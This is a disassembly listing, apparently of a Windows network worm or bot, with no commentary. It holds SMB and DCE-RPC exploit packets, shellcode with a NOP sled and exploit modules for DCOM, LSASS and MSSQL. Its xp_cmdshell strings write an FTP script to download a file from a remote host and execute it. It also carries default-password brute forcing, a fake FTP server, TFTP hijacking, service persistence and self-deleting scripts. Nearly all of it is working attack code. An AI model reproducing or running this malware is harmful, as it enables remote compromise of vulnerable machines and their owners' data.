		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4021C4	dd 20h,	0			dd 20h,	5C005Ch, 0
aC1234561111111:			; DATA XREF: sub_405DB7+19Ao
		unicode	0, <\C$\123456111111111111111.doc>,0
		align 8
dword_402218	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_40224C	dd 2180310h	dword_402250	dd 10016C6h			dd 100139Dh, 1001C55h, 1001C98h	; DATA XREF: sub_405DB7+1DAo
		dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_405DB7+3Do
					; sub_405DB7+302o ...
dword_402268	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4022B4	dd 3000005h, 10h, 5 dup(0)dword_4022D0	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_402318	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_40234C:				; DATA XREF: sub_405DB7+44Co
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_402358:				; DATA XREF: sub_405DB7+3F7o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_402364:				; DATA XREF: sub_405DB7+49Bo
		jmp	short loc_402376
; ---------------------------------------------------------------------------
		jmp	short loc_402381
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_40236C:				; DATA XREF: sub_405DB7+4F6o
		jmp	short near ptr word_402372
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_402372	dw 0			; CODE XREF: MEW:loc_40236Cj
; ---------------------------------------------------------------------------


loc_402374:				; DATA XREF: sub_405DB7+517o
		jmp	short near ptr word_40237A
; ---------------------------------------------------------------------------


loc_402376:				; CODE XREF: MEW:loc_402364j
					; MEW:00402394j
		jmp	short loc_40237C
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_40237A	dw 0			; CODE XREF: MEW:loc_402374j
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: MEW:loc_402376j
					; DATA XREF: sub_405DB7+53Bo
		jmp	short near ptr loc_402381+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_402381:				; CODE XREF: MEW:00402366j
					; MEW:loc_40237Cj
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_402384	dd offset dword_41005C	; DATA XREF: sub_405DB7+595o
		align 10h
dword_402390	dd 77F33723h	; ---------------------------------------------------------------------------
		jmp	short loc_402376 ; DATA	XREF: sub_405DB7+4D4o
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------
		lahf			; DATA XREF: sub_405DB7+4ADo
		jnz	short loc_4023B3
		add	[ecx+1Ch], bl	; DATA XREF: sub_405DB7+43Co


loc_40239E:				; CODE XREF: MEW:loc_4023A8j
		add	[ecx], al


loc_4023A0:				; DATA XREF: sub_405DB7+41Eo
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_4023A4:				; DATA XREF: sub_405DB7+42Do
					; sub_40785E+25Do
		jmp	short near ptr dword_4023AC
; ---------------------------------------------------------------------------
		align 4


loc_4023A8:				; DATA XREF: sub_405DB7+409o
		jmp	short loc_40239E
; ---------------------------------------------------------------------------
		align 4
dword_4023AC	dd 85000000h						; DATA XREF: MEW:00406891o
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_4023B3:				; CODE XREF: MEW:00402399j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_402438	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: MEW:004068CDo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_4024E4	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: MEW:00406909o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4025C4	dd 54000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+8Co
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_4063DC+BBo
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_402628	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+2ABo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_402694	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+2DDo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_402738	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+3D2o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4027B8	dd offset byte_401495	; DATA XREF: sub_4063DC+400o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40284C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+31Ao
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4028B8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4063DC+345o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40292C	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
dword_4029B4	dd 1004600h			dd 7515123Ch, 751C123Ch
; ---------------------------------------------------------------------------
		jmp	short loc_4029C8 ; DATA	XREF: sub_4063DC+172o
; ---------------------------------------------------------------------------
		jmp	short loc_4029CA
; ---------------------------------------------------------------------------
		align 8


loc_4029C8:				; CODE XREF: MEW:004029C0j
					; DATA XREF: sub_4063DC+5Co
		pop	esp
		pop	esp


loc_4029CA:				; CODE XREF: MEW:004029C2j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4029D4	dd 1CEC8166h	dword_4029D8	dd 0E4FF07h	dword_4029DC	dd 34000112h, 0			dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
; ---------------------------------------------------------------------------


loc_402A04:				; DATA XREF: MEW:00406B45o
					; MEW:00406B53o
		mov	edx, 5042B68Ah
		push	ds
		rol	byte ptr [edx+74h], 1 ;	DATA XREF: MEW:00406D1Co
		xchg	esi, [edx+eax*2+7FFDE0CCh] ; DATA XREF:	MEW:00406D39o


loc_402A14:				; DATA XREF: MEW:00406E6Ao
		add	al, 90h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		fmul	st(1), st
		mov	al, 42h
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short near ptr byte_402A89
; ---------------------------------------------------------------------------
		db 1, 70h, 0AEh
		dd 0AE700142h
		db 42h
byte_402A89	db 3 dup(0)		; CODE XREF: MEW:00402A7Fj
dword_402A8C	dd 12400h, 0	a3333		db '3333',0             ; DATA XREF: MEW:00406B7Bo
		align 4
aCccc		db 'CCCC',0             ; DATA XREF: MEW:00406B33o
		align 4
aEu4		db 1Bh,'4',0          ; DATA XREF: MEW:00406B21o
		align 4
asc_402AAC:				; DATA XREF: MEW:00406A46o
		dw 0Dh
		unicode	0, <>,0
a512		db '512',0              ; DATA XREF: MEW:00406D65o
aIiii		db 'ii',0             ; DATA XREF: MEW:00406D2Eo
		align 4
aH888r		db 'h:888',0           ; DATA XREF: MEW:00406D0Ao
		align 4
aR_0		db '/\r',0Ah            ; DATA XREF: MEW:00406C48o
					; MEW:00406DD3o
		db ':',0
		align 4
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'del %s &%s &call %s',27h,0
					; DATA XREF: MEW:00407074o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'echo open %s %d >> %s &echo user %s '
					; DATA XREF: MEW:0040702Eo
		db '%s >> %s &echo get %s >> %s &echo quit >> %s &ftp -n -s:%s',0Dh,0Ah
		db 27h,0
aS_txt		db '%s.txt',0           ; DATA XREF: MEW:00406FCAo
		align 10h
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s;UID=sa;PWD=%s;%s',0
					; DATA XREF: MEW:00406F69o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: MEW:00406EE6o
		align 4
aRoot		db 'root',0             ; DATA XREF: MEW:00406EDFo
		align 10h
aSa		db 'sa',0               ; DATA XREF: MEW:00406ED4o
		align 8
dword_402BC8	dd 6D6F6364h						; sub_404530+7F7r ...
		dd 353331h, 3 dup(0)
off_402BDC	dd offset dword_402E50	; DATA XREF: sub_404530+80Fr
					; sub_404530+8E5r ...
dword_402BE0	dd 87h							; sub_404530+60Fr ...
off_402BE4	dd offset sub_405DB7	; DATA XREF: sub_407282+1B4r
					; sub_407282+211r
dword_402BE8	dd 0							; sub_404530+A9Er ...
dword_402BEC	dd 1							; sub_405DB7+30Dr ...
byte_402BF0	db 1			; DATA XREF: sub_404530+809r
					; sub_404530+833w ...
		align 4
aDcom445	db 'dcom445',0
		dd 3 dup(0)
		dd offset dword_402E44
		dd 1BDh, 405DB7h, 0
		dd 2, 1, 31637072h, 3533h, 3 dup(0)
		dd offset dword_402E38
		dd 87h,	4060A4h, 0
		dd 3, 1, 34637072h, 3534h, 3 dup(0)
		dd offset dword_402E2C
		dd 1BDh, 4060A4h, 0
		dd 4, 1, 7361736Ch, 35343473h, 3 dup(0)
		dd offset dword_402E20
		dd 1BDh, 406828h, 0
		dd 5, 1, 7361736Ch, 35333173h, 3 dup(0)
		dd offset dword_402E14
		dd 87h,	406828h, 0
		dd 6, 1, 7173736Dh, 7361706Ch, 73h, 2 dup(0)
		dd offset dword_402E04
		dd 599h, 406EBAh, 0
		dd 7, 1, 69726576h, 736174h, 3 dup(0)
		dd offset dword_402DF8
		dd 2710h, 407983h, 0
		dd 9, 1, 7173736Dh, 6Ch, 3 dup(0)
		dd offset dword_402DF0
		dd 599h, 406A33h, 0
		dd 0Ah,	1, 7173736Dh, 3030326Ch, 30h, 2	dup(0)
		dd offset dword_402DE4
		dd 599h, 406C37h, 0
		dd 0Bh,	1, 7173736Dh, 7064756Ch, 3 dup(0)
		dd offset dword_402DD8
		dd 599h, 406DC2h, 0
		dd 0Ch,	1, 0Bh dup(0)
dword_402DD8	dd 7173736Dh, 7064756Ch, 632Ehdword_402DE4	dd 7173736Dh, 3030326Ch, 632E30hdword_402DF0	dd 7173736Dh, 632E6Chdword_402DF8	dd 69726576h, 2E736174h, 63hdword_402E04	dd 7173736Dh, 7361706Ch, 74662E73h, 6470hdword_402E14	dd 7361736Ch, 35333173h, 632Ehdword_402E20	dd 7361736Ch, 35343473h, 632Ehdword_402E2C	dd 34637072h, 632E3534h, 0dword_402E38	dd 31637072h, 632E3533h, 0dword_402E44	dd 6D6F6364h, 2E353434h, 63hdword_402E50	dd 6D6F6364h, 2E353331h, 63hdword_402E5C	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 61637302h
					; DATA XREF: sub_407282+242o
		dd 72656E6Eh, 202D0203h, 6E65706Fh, 726F7020h, 6F662074h
		dd 3A646E75h, 30032D20h, 73250233h, 364253Ah, 28202D02h
		dd 65726874h, 203A6461h, 0D296425h, 0Ah
dword_402EA8	dd 56495250h, 2047534Dh, 3A207325h, 6E616353h, 676E696Eh
					; DATA XREF: sub_407282+5Fo
		dd 32D203Ah, 25023330h,	64253A73h, 202D0203h, 72687428h
		dd 73646165h, 3003203Ah, 64250233h, 2D290203h, 6C656428h
		dd 203A7961h, 2333003h,	2036425h, 6D282D29h, 74756E69h
		dd 203A7365h, 2333003h,	2036425h, 6C282D29h, 6369676Fh
		dd 61637320h, 3203A6Eh,	25023330h, 29020373h, 0A0Dh
aDisabled	db 'disabled',0         ; DATA XREF: sub_407282+34o
		align 4
aEnabled	db 'enabled',0          ; DATA XREF: sub_407282+2Do
byte_402F34	db 0A2h			; DATA XREF: sub_407617+A2r
					; sub_407617+CEw
		align 4
dword_402F38	dd 4113E68Bh						; sub_407617+8Fw
; ---------------------------------------------------------------------------


loc_402F3C:				; DATA XREF: sub_407617+1Ao
		jmp	short loc_402F53
; ---------------------------------------------------------------------------


loc_402F3E:				; CODE XREF: MEW:loc_402F53p
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_402F4A:				; CODE XREF: MEW:00402F4Fj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_402F4A
		jmp	short near ptr dword_402F58
; ---------------------------------------------------------------------------


loc_402F53:				; CODE XREF: MEW:loc_402F3Cj
		call	loc_402F3E
; ---------------------------------------------------------------------------
dword_402F58	dd 0		dword_402F5C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 33685353h
					; DATA XREF: sub_40758E+23o
		dd 68000032h, 5F327377h, 747268h, 736D6800h, 34E86376h
		dd 1000000h, 35000000h,	74D60862h, 0C0942023h, 0B9CAC999h
		dd 0B969155Ch, 0D740F640h, 850DB302h, 9CC44DF9h, 8318041Ah
		dd 0C01AD301h, 80071302h, 0B4070334h, 5D28398Ah, 8B5B026Ah
		dd 8B5353F8h, 548B3C57h, 0D703783Ah, 20528B52h,	0DB33D703h
		dd 9A348B43h, 0C933F703h, 0C1C832ACh, 84AC05C1h, 8BF675C0h
		dd 4C2B0075h, 0E47500B5h, 8B243487h, 0D7032456h, 5A0C8B66h
		dd 31C568Bh, 8A048BD7h,	895EC703h, 0FF00B544h, 4B5B0045h
		dd 835BB075h, 0FF5402C3h, 0C4830855h, 75C08508h, 2B02B49Eh
		dd 54C48AE0h, 1C55FF50h, 685050h, 68000000h, 2,	6A50FC8Bh
		dd 0FF026A01h, 0D88B2055h, 5357106Ah, 852455FFh, 0C75975C0h
		dd 45h,	6A500000h, 0FF535504h, 0F48B2C55h, 770045C7h, 68000062h
		dd 657865h, 68h, 55FC8B2Eh, 0C55FF57h, 6A004589h, 2006800h
		dd 53560000h, 852855FFh, 781174C0h, 75FF1Bh, 56016A50h
		dd 831055FFh, 0DFEB10C4h, 0FF0075FFh, 54501455h, 1855FF57h
		dd 3055FF53h, 455FFh
dword_4030B0	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 3732502h
					; DATA XREF: sub_407708+131o
		dd 25202D02h, 65202E64h, 6F6C7078h, 64657469h, 30032820h
		dd 73250233h, 20290203h, 33300328h, 3732502h, 73202902h
		dd 65636375h, 6C756673h, 0A0D796Ch, 0
dword_4030FC	dd 6272h						; sub_407BC9:loc_407C1Co ...
aUnknown	db 'unknown',0          ; DATA XREF: sub_407708+6Fo
aShellcodedaemo	db 'ShellcodeDaemon',0  ; DATA XREF: sub_40785E+15o
					; sub_40933F+167o
aA		db '',0                ; DATA XREF: sub_40785E+2D7o
		db '"(',0
		db 2 dup(0), 1
		dd 2 dup(0)
		dd 1090000h, 2 dup(0)
		dd 3000000h, 20000h, 0
dword_403140	dd 4000000h, 0	dword_403148	dd 200000h, 0	dword_403150	dd 0FFF817E9h, 0FFhdword_403158	dd 140F8D5h, 0	dword_403160	dd 0FFFBF3E9h, 0FFhdword_403168	dd 14261B0h, 0	dword_403170	dd 4000500h, 7868746Bh,	0dword_40317C	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 726F7702h
					; DATA XREF: sub_407BC9+23Eo
		dd 6469726Dh, 66742E65h, 2037074h, 7865202Dh, 696F6C70h
		dd 20646574h, 2333003h,	2037325h, 30032820h, 73250233h
		dd 20290203h, 63637573h, 75667365h, 0D796C6Ch, 0Ah
aTftpdhijack	db 'TFTPDHijack',0      ; DATA XREF: sub_407BC9+19o
					; sub_40933F+12Bo
a221Goodbye_	db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_407F46+5A0o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_407F46+58Co
		align 10h
dword_4031F0	dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 70746602h
					; DATA XREF: sub_407F46+561o
		dd 2D020364h, 2E642520h, 6E657320h, 666F2064h, 20732520h
		dd 63637573h, 20646565h, 28206F74h, 2333003h, 2037325h
		dd 3282029h, 25023330h,	29020373h, 0A0Dh
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_407F46+51Do
					; sub_407F46+57Fo
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_407F46+514o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_407F46+4EEo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_407F46+4D6o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_407F46+4C6o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_407F46+4B5o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_407F46+482o
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_407F46+43Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_407F46+402o
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_407F46+3F2o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_407F46+3DEo
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_407F46+3CEo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_407F46+3BAo
		align 4
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_407F46+3AAo
aI:					; DATA XREF: sub_407F46+396o
		unicode	0, <I>,0
aA_0:					; DATA XREF: sub_407F46+37Fo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_407F46+368o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_407F46+358o
		align 4
aPwd		db 'PWD',0              ; DATA XREF: sub_407F46+344o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_407F46+334o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_407F46+320o
		align 4
a215UnixTypeL8	db '215 UNIX Type: L8',0Ah,0 ; DATA XREF: sub_407F46+310o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_407F46+2FCo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_407F46+2ECo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_407F46+2D8o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_407F46+2C8o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_407F46+2B3o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_407F46+2A2o
					; sub_40A8E0+45o
		align 4
a220Proftpd1_D_	db '220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)',0Ah,0
					; DATA XREF: sub_407F46+1F6o
		align 4
aFtpd		db 'Ftpd',0             ; DATA XREF: sub_407F46+25o
					; sub_407F46+140o ...
		align 10h
aHttp		db 'http://',0          ; DATA XREF: sub_40862D+Bo
aHttp1_		db 'http/1.',0          ; DATA XREF: sub_4086A6+B3o
asc_403480	db 0Dh,0Ah		; DATA XREF: sub_4086A6+A0o
		db 0Dh,0Ah,0
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_4086A6+62o
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4086A6+4Bo
					; MEW:0040A1EAo
		align 10h
aGetSHttp1_0	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_408825+85o
		db 0Dh,0Ah,0
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_408953+9o
					; sub_40914C+166o
		align 4
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_40899B+C3o
		align 4
aStart		db 'Start',0            ; DATA XREF: sub_40899B+84o
					; sub_40914C+143o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_40899B+48o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_408A88+143o
aService	db 'Service',0          ; DATA XREF: sub_408A88+FFo
aMinimal	db 'Minimal',0          ; DATA XREF: sub_408A88+F3o
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Control\SafeBoot\',0
					; DATA XREF: sub_408A88+D9o
		align 4
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: sub_408E07+1Co
aComspecCSSS	db '%%comspec%% /c %s %s %s',0 ; DATA XREF: sub_408EAB+12Ao
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408EAB+9Bo
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db ':repeat2',0Dh,0Ah
		db 'del "%%2"',0Dh,0Ah
		db 'if exist "%%2" goto repeat2',0Dh,0Ah,0
		align 4
aSerase_bat	db '%serase.bat',0      ; DATA XREF: sub_408EAB+65o
aControlHandler	db 'Control Handler',0  ; DATA XREF: sub_408EAB:loc_408ED4o
					; sub_40933F+11Ao
asc_4035E8:				; DATA XREF: sub_409016+55o
		unicode	0, <\>,0
aMaxclientreque	db 'MaxClientRequestBuffer',0 ; DATA XREF: sub_40914C+1D0o
		align 4
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters',0
					; DATA XREF: sub_40914C+1BBo
		align 4
aNetworkDde	db 'Network DDE',0      ; DATA XREF: sub_40914C+17Eo
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\NetDDE',0 ; DATA XREF: sub_40914C+12Eo
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_40914C+10Do
		align 4
aN:					; DATA XREF: sub_40914C+105o
		unicode	0, <N>,0
aSoftwareMicros	db 'SOFTWARE\Microsoft\OLE',0 ; DATA XREF: sub_40914C+F7o
		align 4
aNetbiosoptions	db 'NetbiosOptions',0   ; DATA XREF: sub_40914C+A1o
		align 4
aSystemCurren_2	db 'SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcp'
					; DATA XREF: sub_40914C+72o
		db 'ip_%s',0
		align 10h
aSystemCurren_1	db 'SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\Adapters',0
					; DATA XREF: sub_40914C+20o
dword_40372C	dd 0FFFFFFFFh						; sub_404530+2A6r ...
off_403730	dd offset dword_403734	; DATA XREF: sub_404530+66Cr
					; sub_4055A6+6D9r ...
dword_403734	dd 2E373231h, 2E302E30h, 31haProtocolHandle	db 'Protocol Handler',0 ; DATA XREF: sub_40933F:loc_409445o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40933F+CFo
dword_403760	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4037AC	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_4037C8	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_4096C8+118o
dword_4037DC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4096C8+13Co
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40969D+Fo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40969D+2o
		align 8
dword_403818	dd 8		dword_40381C	dd 62h				db 3 dup(0)
dword_403823	dd 62h				align 4
		dd 0
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
